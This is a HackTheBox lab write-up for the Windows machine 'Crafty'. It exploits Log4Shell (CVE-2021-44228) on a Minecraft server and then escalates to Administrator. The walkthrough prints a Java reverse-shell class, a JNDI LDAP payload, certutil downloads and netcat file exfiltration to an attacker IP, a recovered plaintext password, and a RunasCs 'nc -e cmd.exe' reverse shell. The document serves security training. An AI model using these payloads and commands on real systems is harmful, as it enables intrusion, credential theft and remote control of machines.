Crafty – HackTheBox Link to heading
- OS: Windows
- Difficulty: Easy
- Platform: HackTheBox
Summary Link to heading
Crafty
is an easy box/machine from HackTheBox
platform that teaches how to abuse vulnerable Log4j
versions in an old Minecraft server. Checking open TCP ports we note that this server is, in fact, a Minecraft
server. Analyzing its version we note that it is running a vulnerable version of Log4J
, which allows us to to execute the famous exploit Log4Shell
(CVE-2021-44228) and gain a shell as svc_minecraft
user. Once inside the machine, we are able to extract a Java
.tar
file that has credentials. Using RunasCs
, we check if those credentials belong to Administrator
password; and they do, so we are able to gain access as Administrator
user and fully compromise the machine
User Link to heading
Nmap
scan shows only 2 ports open: 80
HTTP
and 25565
a Minecraft
service
❯ sudo nmap -sVC -p80,25565 10.10.11.249 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-17 17:20 -04
Nmap scan report for 10.10.11.249
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://crafty.htb
|_http-server-header: Microsoft-IIS/10.0
25565/tcp open minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.21 seconds
From the output I can see that the site redirects to crafty.htb
. So I add this IP address and domain to my /etc/hosts
file:
❯ echo '10.10.11.249 crafty.htb' | sudo tee -a /etc/hosts
Visiting the site http://crafty.htb
shows a page based on Minecraft
that displays, apparently, the data of the server:
The site displays the subdomain play.crafty.htb
, so I decide to add this site to my /etc/hosts
file as well, so it now looks like:
❯ cat /etc/hosts | tail -n 1
10.10.11.249 crafty.htb play.crafty.htb
but visiting play.crafty.htb
just redirects to crafty.htb
. For example, analyzing the site with WhatWeb
we have:
❯ whatweb http://play.crafty.htb
http://play.crafty.htb [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.249], Microsoft-IIS[10.0], RedirectLocation[http://crafty.htb], Title[Document Moved]
http://crafty.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.249], JQuery[3.6.0], Microsoft-IIS[10.0], Script[text/javascript], Title[Crafty - Official Website]
I search for directories with a Brute Force Directory Listing
with Gobuster
, but got nothing interesting:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://crafty.htb -t 55
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://crafty.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/home (Status: 200) [Size: 1826]
/img (Status: 301) [Size: 145] [--> http://crafty.htb/img/]
/Home (Status: 200) [Size: 1826]
/css (Status: 301) [Size: 145] [--> http://crafty.htb/css/]
/js (Status: 301) [Size: 144] [--> http://crafty.htb/js/]
/IMG (Status: 301) [Size: 145] [--> http://crafty.htb/IMG/]
/CSS (Status: 301) [Size: 145] [--> http://crafty.htb/CSS/]
/Img (Status: 301) [Size: 145] [--> http://crafty.htb/Img/]
/JS (Status: 301) [Size: 144] [--> http://crafty.htb/JS/]
/HOME (Status: 200) [Size: 1826]
/coming-soon (Status: 200) [Size: 1206]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
So at this point I decide to go back to port 25565
shown by Nmap
scan. Googling Minecraft 1.16.5 exploit
shows that this version has Log4J
vulnerable version to Log4Shell
. So, apparently, we need to run commands from Minecraft
to our machine to exploit this. For this we have 2 options:
- Download
Minecraft
launcher forLinux
(since my attacker machine is aLinux
machine). This might requireTLauncher
so I prefer to skip this option… - Use a
Python
library calledpyCraft
(whose repository can be visited here) and attempt to run commands from there
I will use the second option. First, I clone pyCraft
repository:
❯ git clone https://github.com/ammaraskar/pyCraft.git
Cloning into 'pyCraft'...
remote: Enumerating objects: 3182, done.
remote: Counting objects: 100% (158/158), done.
remote: Compressing objects: 100% (70/70), done.
remote: Total 3182 (delta 106), reused 112 (delta 88), pack-reused 3024
Receiving objects: 100% (3182/3182), 775.28 KiB | 2.42 MiB/s, done.
Resolving deltas: 100% (2222/2222), done.
Then, create a virtual environment to install all the dependencies for this package. In my case I will create an environment called minecraftENV
, and install all the package dependencies on that environment:
❯ cd pyCraft
❯ python3 -m venv minecraftENV
❯ source minecraftENV/bin/activate
❯ pip3 install -r requirements.txt
Next, to exploit Log4J
we will use this Github repository. Once cloned and installed all the dependencies we still need other files to run it. From log4shell-poc
repository, we will need to change poc.py
. For this we change the portion of code:
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%d;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),
<SNIP>
to
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%d;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),
So we change /bin/sh
(to get a shell from a Linux
server) to cmd.exe
(to get a shell from a Windows
server, which is the case of Crafty
machine)
We need a Java
file to run this exploit. Usually you would like to try different version until the one that works. In this case we need the version 8
. So we can download it from this repository:
❯ wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz
--2024-05-17 18:00:39-- https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz
Resolving repo.huaweicloud.com (repo.huaweicloud.com)... 119.8.158.18, 119.8.158.19, 119.8.158.17
Connecting to repo.huaweicloud.com (repo.huaweicloud.com)|119.8.158.18|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 185646832 (177M) [application/octet-stream]
Saving to: ‘jdk-8u181-linux-x64.tar.gz’
jdk-8u181-linux-x64.tar.gz 100%[=======================================================================================>] 177.05M 55.3MB/s in 3.3s
2024-05-17 18:00:42 (53.9 MB/s) - ‘jdk-8u181-linux-x64.tar.gz’ saved [185646832/185646832]
❯ tar -xf jdk-8u181-linux-x64.tar.gz
We also have to rename the extracted file to jdk1.8.0_20
since this file is needed by the exploit. So we rename it:
❯ mv jdk1.8.0_181 jdk1.8.0_20
so the directory log4j-shell-poc
now looks like:
❯ ls -la
total 181352
drwxr-xr-x 6 gunzf0x gunzf0x 4096 May 17 18:02 .
drwxr-xr-x 4 gunzf0x gunzf0x 4096 May 17 17:54 ..
-rw-r--r-- 1 gunzf0x gunzf0x 177 May 17 17:54 Dockerfile
drwxr-xr-x 8 gunzf0x gunzf0x 4096 May 17 17:54 .git
-rw-r--r-- 1 gunzf0x gunzf0x 23 May 17 17:54 .gitignore
drwxr-xr-x 7 gunzf0x gunzf0x 4096 Jul 7 2018 jdk1.8.0_20
-rw-r--r-- 1 gunzf0x gunzf0x 185646832 Jul 8 2018 jdk-8u181-linux-x64.tar.gz
-rw-r--r-- 1 gunzf0x gunzf0x 1060 May 17 17:54 LICENSE
-rwxr-xr-x 1 gunzf0x gunzf0x 4208 May 17 17:58 poc.py
-rw-r--r-- 1 gunzf0x gunzf0x 3051 May 17 17:54 README.md
-rw-r--r-- 1 gunzf0x gunzf0x 18 May 17 17:54 requirements.txt
drwxr-xr-x 2 gunzf0x gunzf0x 4096 May 17 17:54 target
drwxr-xr-x 4 gunzf0x gunzf0x 4096 May 17 17:54 vulnerable-application
Now that we have everything we can start running the exploit. First, start a netcat
listener, in my case, on port 443
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
Then, run the exploit:
❯ python3 poc.py --userip 10.10.16.2 --webport 80 --lport 443
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://10.10.16.2:1389/a}
[+] Starting Webserver on port 80 http://0.0.0.0:80
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389
where 10.10.16.2
is my attacker IP and 443
is the port I am listening with netcat
. But we are not done yet.
As the program says, we need to execute ${jndi:ldap://10.10.16.2:1389/a}
in the victim server to trigger the reverse shell.
Now, start pyCraft
. We can use it in offline mode (so we don’t need a Minecraft
account):
❯ python3 start.py
Enter your username: gunzf0x
Enter your password (leave blank for offline mode):
Enter server host or host:port (enclose IPv6 addresses in square brackets): 10.10.11.249
Connecting in offline mode...
Connected.
${jndi:ldap://10.10.16.2:1389/a}
where, at the end, I have typed ${jndi:ldap://10.10.16.2:1389/a}
.
After doing this we get a shell as svc_minecraft
user:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.249] 49681
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\users\svc_minecraft\server>whoami
whoami
crafty\svc_minecraft
where we can see the user flag at C:\Users\svc_minecraft\Desktop
directory.
NT Authority/System - Administrator Link to heading
After searching for some files in the system I can see a Java
file at C:\Users\svc_minecraft\server\plugins
:
c:\Users\svc_minecraft\server\plugins>dir
dir
Volume in drive C has no label.
Volume Serial Number is C419-63F6
Directory of c:\Users\svc_minecraft\server\plugins
10/27/2023 02:48 PM <DIR> .
10/27/2023 02:48 PM <DIR> ..
10/27/2023 02:48 PM 9,996 playercounter-1.0-SNAPSHOT.jar
1 File(s) 9,996 bytes
2 Dir(s) 3,814,014,976 bytes free
To download this file I pass a netcat
binary for Windows
using certutil
. First start a temporal HTTP
Python
server on port 8080
in our attacker machine:
❯ ls && python3 -m http.server 8080
log4j-shell-poc nc64.exe pyCraft
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
and in the target machine, run:
c:\Users\svc_minecraft\server\plugins>certutil.exe -urlcache -split -f http://10.10.16.2:8080/nc64.exe c:\Users\svc_minecraft\Downloads\nc.exe
certutil.exe -urlcache -split -f http://10.10.16.2:8080/nc64.exe c:\Users\svc_minecraft\Downloads\nc.exe
**** Online ****
0000 ...
b0d8
CertUtil: -URLCache command completed successfully.
Next, use the netcat
binary to download the file c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar
. In our machine start a netcat
listener on port 4444
and save everything received in this port into a file:
❯ nc -lvnp 4444 > playercounter-1.0-SNAPSHOT.jar
listening on [any] 4444 ...
and in the victim machine, pass the file:
c:\Users\svc_minecraft\server\plugins>c:\Users\svc_minecraft\Downloads\nc.exe 10.10.16.2 4444 < c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar
c:\Users\svc_minecraft\Downloads\nc.exe 10.10.16.2 4444 < c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar
We get a connection:
❯ nc -lvnp 4444 > playercounter-1.0-SNAPSHOT.jar
listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.249] 49684
and after some time press Ctrl+C
.
Finally, check that the MD5
hashes of both files are the same to check the integrity of the files. In the victim machine (the original file) we have:
c:\Users\svc_minecraft\server\plugins>certutil.exe -hashfile c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar MD5
certutil.exe -hashfile c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar MD5
MD5 hash of c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar:
349f6584e18cd85fc9e014da154efe03
CertUtil: -hashfile command completed successfully.
and in my attacker machine, I run:
❯ md5sum playercounter-1.0-SNAPSHOT.jar
349f6584e18cd85fc9e014da154efe03 playercounter-1.0-SNAPSHOT.jar
Since both hashes are the same the file has been successfully transferred.
Now, analyze the .jar
Java
file with Java Decompiler
(jd-gui
). We can install it with:
sudo apt install jd-gui
and run it:
❯ jd-gui &> /dev/null & disown
Open the playercounter-1.0-SNAPSHOT.jar
with the decompiler. We can see a class called Playercounter.class
:
or
package htb.crafty.playercounter;
import java.io.IOException;
import java.io.PrintWriter;
import net.kronos.rkon.core.Rcon;
import net.kronos.rkon.core.ex.AuthenticationException;
import org.bukkit.plugin.java.JavaPlugin;
public final class Playercounter extends JavaPlugin {
public void onEnable() {
Rcon rcon = null;
try {
rcon = new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes());
} catch (IOException e) {
throw new RuntimeException(e);
} catch (AuthenticationException e2) {
throw new RuntimeException(e2);
}
String result = null;
try {
result = rcon.command("players online count");
PrintWriter writer = new PrintWriter("C:\\inetpub\\wwwroot\\playercount.txt", "UTF-8");
writer.println(result);
} catch (IOException e3) {
throw new RuntimeException(e3);
}
}
public void onDisable() {}
}
where I can see something like a credential/password: s67u84zKq8IXw
What if this is the Administrator
password? We have 2 potential users in this machine: jacob
and Administrator
:
c:\Users\svc_minecraft\server\plugins>net user
net user
User accounts for \\CRAFTY
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
jacob svc_minecraft WDAGUtilityAccount
The command completed successfully.
Since we don’t have Server Message Block
(SMB
) or Windows Remote Management
services running, we will have to use RunasCs
. Download it from its Github repository, unzip it and pass the .exe
file to the target as we have passed previously the netcat
binary. Then, run RunasCs
as Administrator
using the found password in the target machine. Start a netcat
listener on port 443
and in the victim machine, run:
c:\Users\svc_minecraft\server\plugins>c:\Users\svc_minecraft\Downloads\runascs.exe Administrator s67u84zKq8IXw "C:\Users\svc_minecraft\Downloads\nc.exe 10.10.16.2 443 -e C:\Windows\System32\cmd.exe"
c:\Users\svc_minecraft\Downloads\runascs.exe Administrator s67u84zKq8IXw "C:\Users\svc_minecraft\Downloads\nc.exe 10.10.16.2 443 -e C:\Windows\System32\cmd.exe"
and get a shell as Administrator
user:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.249] 49687
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
crafty\administrator
and we can read the root.txt
flag at C:\Users\Administrator\Desktop
directory.
~ Happy Hacking